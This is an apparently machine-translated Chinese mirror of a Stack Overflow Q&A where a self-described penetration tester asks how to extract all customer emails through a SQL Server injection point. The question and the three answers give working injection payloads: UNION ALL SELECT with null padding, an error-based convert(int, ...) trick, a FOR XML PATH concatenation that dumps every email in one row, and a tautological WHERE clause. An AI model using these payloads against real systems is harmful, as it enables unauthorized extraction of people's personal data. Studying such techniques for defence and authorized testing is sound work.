首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >Server注入点

Server注入点
EN

Stack Overflow用户
提问于 2015-08-17 08:57:01
回答 3查看 99关注 0票数 1

在进行渗透测试时,我在Server中找到了一个SQL注入点。

我设法用这个

代码语言:javascript
复制
' UNION ALL SELECT 
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,email 
from customers where customer_id =10--

这是给我的电子邮件的用户ID 10。如果我改变ID号码,它会给我其他的结果。

有没有办法在一个查询中获取所有的电子邮件?

谢谢

更新

使用

代码语言:javascript
复制
' or 1=convert(int,(select top 1 email from customers))--

我收到了第一封电子邮件。例如,通过改变为10,我得到了

OleDbException (0x80004005):子查询返回多个值。当子查询跟随=、!=、<、<=、>、>=或子查询用作表达式时,这是不允许的。

有什么想法吗?

EN

回答 3

Stack Overflow用户

发布于 2015-08-17 09:05:26

只需完全不使用where子句即可。这就是限制部分查询结果的原因。换句话说,类似于:

代码语言:javascript
复制
' union all select <too many nulls to retype>, email from customers --

如果只有一行,那么运行网站的代码就会强制执行这个限制,比如附加类似fetch first row onlylimit 1之类的内容。

如果是这样的话,您将需要保留where子句,并一次只执行一个ID的攻击。您还可能需要确保“真正的”行是在注入获得的行之后,这样前者就不会优先于后者。一个你知道不在数据库中的查找键就能做到这一点。

票数 2
EN

Stack Overflow用户

发布于 2015-08-17 09:39:07

根据输出的长度,您可以尝试将它们全部填充到CSV中吗?这意味着如果你被限制在一排,你应该把它拿回来?

尝试省略where子句并使用以下方法:

代码语言:javascript
复制
' union all select <nulls>, SUBSTRING((select ',' + email from customer order by email for xml path('')), 2, 1000000) --
票数 0
EN

Stack Overflow用户

发布于 2015-08-17 10:54:04

指定此WHERE子句以返回所有客户:

代码语言:javascript
复制
WHERE customer_id = customer_id--
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/32046329

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档